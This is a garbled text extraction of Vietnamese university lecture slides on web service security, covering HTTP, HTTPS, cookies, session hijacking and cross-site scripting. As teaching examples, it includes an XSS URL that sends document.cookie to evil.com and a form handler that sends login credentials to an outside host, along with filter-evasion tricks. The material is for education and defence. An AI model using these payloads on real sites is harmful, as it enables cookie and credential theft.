1. Trang chủ
  2. » Luận Văn - Báo Cáo

AN TOÀN DỊCH VỤ WEB

42 109 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Nội dung

20/04/2014 BÀI AN TOÀN DỊCH VỤ WEB Bùi Trọng Tùng, Viện Công nghệ thông tin Truyền thông, Đại học Bách khoa Hà Nội Nội dung • Tổng quan hoạt động dịch vụ Web • Giao thức HTTPS lỗ hổng • Tấn cơng dạng Command Injection • Tấn cơng Cross Site Scripting • Tấn công Cross Site Request Forgery 20/04/2014 TỔNG QUAN VỀ DỊCH VỤ WEB Bùi Trọng Tùng, Viện Công nghệ thông tin Truyền thông, Đại học Bách khoa Hà Nội Word Wide Web • Ra đời năm 1990 • Hệ thống siêu văn trình bày ngơn ngữ • • • • HTML liên kết với Cho phép truy cập đến nhiều dạng tài ngun thơng tin khác (văn bản, hình ảnh, âm thanh, video ) qua URL (Uniform Resource Location) URI (Uniform Resource Identifier) Đang điều hành W3C Các công nghệ liên quan: CSS, XML, JavaScrips, Adobe Flash, Silverlight Hiện trở thành tảng (Web-based service) 20/04/2014 Giao thức HTTP • Sử dụng TCP, cổng 80 Web clients • Trao đổi thơng điệp HTTP (giao thức ứng dụng) IE HTTP Request Web server HTTP Response Firefox Navigator Thơng điệp HTTP Request • Mã ASCII (dễ dàng đọc dạng văn bản) request line (GET, POST, HEAD commands) GET /dccn/index.html HTTP/1.1 Host: www.it-hut.edu.vn User-agent: Mozilla/4.0 header Connection: close lines Accept-language:en-us CR, LF (extra carriage return, line feed) indicates end of message 20/04/2014 Thông điệp HTTP Response status line (protocol status code status phrase) header lines data, e.g., requested HTML file HTTP/1.1 200 OK Connection close Date: Tue, 16 Mar 2008 12:00:15 GMT Server: Apache/1.3.0 (Unix) Last-Modified: Mon, 15 Mar 2008 … Content-Length: 8990 Content-Type: text/html data data data data data Tương tác với web server • Địa URL http://coolsite.com/tools/info.html Giao thức Tên miền(sẽ phân giải thành địa IP) Đường dẫn tới tài nguyên (nội dung tĩnh, thường file HTML) 20/04/2014 Tương tác với web server (tiếp) • Tương tác với kịch thực thi server (servlet) http://coolsite.com/tools/doit.php?cmd=play&vol=44 Đường dẫn tới serlet, cho phép server sinh nội dung trang web tùy thuộc tham số: CGI: Common Gateway Interface PHP, JSP, ASP: ngôn ngữ kịch (scrips) Các tham số cho trình sinh nội dung Kiến trúc chung dịch vụ web URL/Form Browser Người dùng tương tác với tài ngun khác thơng qua dịch vụ web command.php? arg1=x&arg2=y Trang web có nội dung tương ứng với tham số truyền qua URL Thực thi kịch (servlet) Web server Kết truy vấn Truy vấn CSDL theo tham số Database server 10 20/04/2014 HTTP Cookie • Đoạn liệu chuyển từ Web server cho trình duyệt • Chứa số thơng tin phiên truy cập • Cookie trình duyệt sử dụng lại phiên truy cập sau • Cũng áp dụng sách same-origin GET … Browser Server HTTP Header: Set-cookie: NAME=VALUE ; domain = ; scope path = ; secure = ; //chỉ sử dụng cho HTTPS? expires = ;… 11 Javascript • Ngơn ngữ cho phép xây dựng script để trình duyệt thực thi • Được nhúng vào trang web mà server trả cho client • Khi thực thi, Javascrip có thể:  Thay đổi nội dung trang web  Theo dõi kiện trang web (bao gồm hành vi người dùng: rê chuột, nhấp chuột, gõ phím)  Đọc, thiết lập cookie  Sinh HTTP Request khác đọc HTTP Response trả • Khả truy cập đối tượng DOM Javascript giới hạn sách nguồn (Same Origin Policy – SOP) 12 20/04/2014 Chính sách nguồn (SOP) • DOM: Document Object Window Obj Model  Tổ chức đối tượng, kiện trang HTML thành kiến trúc  Cung cấp hàm cho phép tương tác với đối tượng, kiện • SOP: DOM có (URI scheme, domain, port) truy cập lẫn URI_scheme://domain:port/path • Lưu ý: SOP sách cho trình duyệt Web, khơng phải cho server Document Obj Event Frame History Location Navigator Screen 13 SOP – Ví dụ Kiểm tra khả truy cập từ http://www.example.com/dir/page.html Compared URL Outcome httpː//www.example.com/dir/page2.html Success httpː//www.example.com/dir2/other.html Success httpː//username:password@www.example.com/dir2/other.html Success httpː//www.example.com:81/dir/other.html Failure https://www.example.com/dir/other.html Failure http://en.example.com/dir/other.html Failure http://example.com/dir/other.html Failure http://v2.www.example.com/dir/other.html Failure httpː//www.example.com:80/dir/other.html Depends 14 20/04/2014 Các nguy dịch vụ web • Nghe lén, đánh cắp thơng tin • Thay đổi nội dung thông điệp • Giả mạo (người dùng với dịch vụ ngược lại) • Tấn cơng chèn mã thực thi (Command Injection) • Tấn cơng qua lỗ hổng chế thực thi kịch • Phát tán mã độc, phần mềm độc hại • Tấn công từ chối dịch vụ 15 GIAO THỨC HTTPS Bùi Trọng Tùng, Viện Công nghệ thông tin Truyền thông, Đại học Bách khoa Hà Nội 16 20/04/2014 Giới thiệu chung HTTPS • Hạn chế HTTP:  Khơng có chế để người dùng kiểm tra tính tin cậy Web server  lỗ hổng để kẻ công giả mạo dịch vụ chèn mã độc vào trang web HTML  Khơng có chế mã mật  lỗ hổng để kẻ công nghe đánh cắp thơng tin nhạy cảm • Secure HTTP: Kết hợp HTTP SSL/TLS:  Xác thực  Bảo mật 17 Thiết lập liên kết SSL/TLS Chứng thư số server browser client-hello cert Xác minh server-hello + server-cert (chứa khóa KUS) servercert Private key Thỏa thuận thơng số trao đổi khóa Sinh khóa bí mật KS Trao đổi khóa: E(KUS, KS) KS Thiết lập xong kết nối TLS Thơng điệp HTTP mã hóa với KS 18 20/04/2014 HTTP trình duyệt Web Truy cập dịch vụ Web với HTTP Khi click vào liên kết 19 HTTPS trình duyệt Web Truy cập Web với HTTPS - Tồn nội dung website (bao gồm hình ảnh, CSS, Flash, scripts ) trình duyệt thẩm tra tính tồn vẹn nguồn gốc tin cậy - Mọi thơng tin trao đổi trình duyệt Amazon giữ bí mật 20 10 20/04/2014 Ví dụ 1: • Alice đăng nhập trang login.site.com Một cookie thiết lập với session-id cho site.com Lưu ý: cookie sử dụng cho trang có tên miền site.com • Alice truy cập vào trang bị chèn mã độc evil.site.com Ghi đè cookie với user attacker • Alice truy cập vào other.site.com Nguy cơ? • Nguyên nhân? 55 Ví dụ 2: HTTPS cookie • Alice đăng nhập https://www.google.com/accounts • Alice truy cập http://www.google.com  HTTP Response bị chèn cookie sau: Set-Cookie: LSID=attacker; secure  HTTPS cookie bị ghi đè 56 28 20/04/2014 Sử dụng cookie cho phiên HTTP • Trước đây: sử dụng chế HTTP auth • HTTP request: GET /index.html • HTTP response chứa: WWW-Authenticate: Basic realm=“Password Required” • Các thơng điệp HTTP Request sau chứa mã băm mật Authorization: Basic ZGFddfibzsdfgkjheczI1NXRleHQ= 57 Hạn chế HTTP auth • Người dùng có nhiều tài khoản nhiều người dùng sử dụng chung máy tính • Hộp thoại đăng nhập khơng thể tùy biến • Trên trình duyệt cũ: đánh cắp mật cách lợi dụng HTTP TRACE Request 58 29 20/04/2014 Sử dụng thẻ (session token) Browser Web Site GET /index.html Thẻ vô danh GET /books.html Thẻ vô danh POST /do-login Username & password Thẻ logged-in POST /checkout Thẻ logged-in Xác thực Username password Kiểm tra token 59 Lưu thẻ đâu • Trong cookie: Set-Cookie: SessionToken=fduhye63sfdb • Nhúng vào URL https://site.com/checkout?SessionToken=kh7y3b • Đặt thuộc tính ẩn • Đặt thuộc tính DOM 60 30 20/04/2014 Một số dạng cơng session hijacking • Sử dụng cookie người dùng xác thực để truy cập vào hệ thống • Lợi dụng thẻ khơng sinh ngẫu nhiên • Nghe giá trị thẻ qua kết nối khơng an tồn  Phịng chống: sử dụng HTTPS • Tấn cơng XSS: sử dụng Javascript để đánh cắp cookie  Phòng chống: sử dụng thuộc tính Http Only • Tấn cơng CSRF: cookie chưa hết hiệu lực, nạn nhân bị lừa truy cập vào ứng dụng web thực yêu cầu có lợi cho kẻ công 61 Session hijacking(tiếp) Tấn công Session fixation Kẻ công truy cập vào site.com nhận thẻ vô danh (anonymous token) Nhúng thẻ vào địa URL trang evil.com Người dùng đăng nhập vào site.com qua URL evil.com nhận thẻ logged-in Kẻ công ăn cắp thẻ logged-in (thường dùng công XSS) thực thi phiên giả mạo  Có thể lợi dụng lỗ hổng web server khơng đánh dấu thẻ hết hiệu lực người dùng đăng xuất 62 31 20/04/2014 Một số phương pháp sinh thẻ • Thẻ = Giá trị ngẫu nhiên • Kết hợp thông tin khác phiên SID = [ userID, exp time, data] Thẻ = MAC (k, SID) • Gán thẻ với địa IP client:  Kẻ công không thẻ dùng thẻ  Người dùng bị đăng xuất tự động địa IP bị thay đổi 63 TẤN CÔNG DẠNG CROSS SITE SCRIPTING (XSS) Bùi Trọng Tùng, Viện Công nghệ thông tin Truyền thông, Đại học Bách khoa Hà Nội 64 32 20/04/2014 Tấn công XSS (Cross Site Scripting) • Lỗ hổng XSS: ứng dụng web khơng kiểm sốt có mặt • • • • mã thực thi giá trị tham số đầu vào và/hoặc kết trả thông điệp HTTP Response Tấn công XSS: lợi dụng lỗ hổng XSS để ẩn giấu mã độc thông điệp HTTP Request lừa ứng dụng web trả thông điệp HTTP Response chứa mã độc Hậu quả: trình duyệt người dùng thông thường thực thi mã độc nằm thông điệp HTTP Response nhận từ web server để truy cập vào đối tượng DOM nguồn cách hợp lệ theo sách SOP Có thể thực tương tự dịch vụ email, trình đọc file PDF Các phương phép chèn mã thực thi:  Reflected XSS  Stored XSS  DOM-based XSS 65 Tấn cơng Reflected XSS Attack Server evil.com Server Patsy/Victim (5) Trình duyệt thực thi mã độc victim.com 66 33 20/04/2014 Tấn cơng Reflected XSS - Ví dụ • Giả sử website mục tiêu cung cấp tính tìm kiếm http://victim.com/search.php?term= • Đoạn mã thực thi server sau: Search Results Results for : 67 Tấn công Reflected XSS - Ví dụ (tiếp) • Người dùng tải trang web từ server kẻ công chưa đường dẫn sau http://victim.com/search.php?term = window.open(“http://evil.com?cookie = ” + document.cookie) • Điều xảy người dùng nhấp vào đường dẫn trên? 68 34 20/04/2014 Tấn công Stored XSS Attack Browser/Server evil.com (1)Chèn mã độc vào CSDL mục tiêu (4)Trình duyệt thực thi mã độc bank.com 69 Tấn cơng Stored XSS – Ví dụ • Tấn cơng vào myspace.com năm 2007 để phát tán sâu Samy • Myspace cho phép người dùng đăng dạng mã HTML:  Kiểm sốt, khơng cho phép nhúng Javascript vào thẻ , , onclick,  Nhưng không kiểm soát việc nhúng vào thẻ CSS:  Hoặc ẩn từ khóa “javascript” thành “java\nscript” • Khi sâu Samy thực thi, tài khoản người dùng tự động kết bạn với tài khoản có tên Samy  Trong 24 giờ, Samy có hàng triệu bạn bè 70 35 20/04/2014 Tấn cơng DOM-based XSS • Lỗ hổng: trình duyệt phép thực thi script bắt kiện xảy đối tượng DOM trang web hiển thị 71 Phịng chống cơng XSS phía server • Open Web Application Security Project (OWASP) • Kiểm tra cẩn thận HTTP header, cookie, truy vấn, • • • • trường ẩn Không nên cố gắng nhận dạng, loại trừ, lọc đối tượng chủ động (active content) Nên sử dụng sách dạng “positive” liệt kê đối tượng, hành vi phép, thay sách dạng “negative” Kiểm tra giá trị đầu vào client cung cấp Từ chối/sử dụng mã cho ký tự đặc biệt với chuỗi đầu Ví dụ dùng < cho , " cho “ 72 36 20/04/2014 Chú ý: Mã Javascript chèn vào nhiều vị trí khác trang web • Sử dụng mã Javascript URI • Chèn mã Javascript vào thuộc tính phương thức xử lý kiện (OnSubmit, OnError, OnLoad, …) • Một số ví dụ:    action="logon.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.digicrime.com/'+document.for ms(1).login.value'+':'+ document.forms(1).password.value;" 73 Phịng chống XSS phía server • Sử dụng lọc chuỗi giá trị đầu để loại ký tự nhạy cảm:  Hãy cẩn thận với mẹo vượt qua lọc  Hãy lọc nhiều lần loại hết từ khóa  Ví dụ: lọc lần chuỗi

Ngày đăng: 15/10/2016, 06:06

TỪ KHÓA LIÊN QUAN

w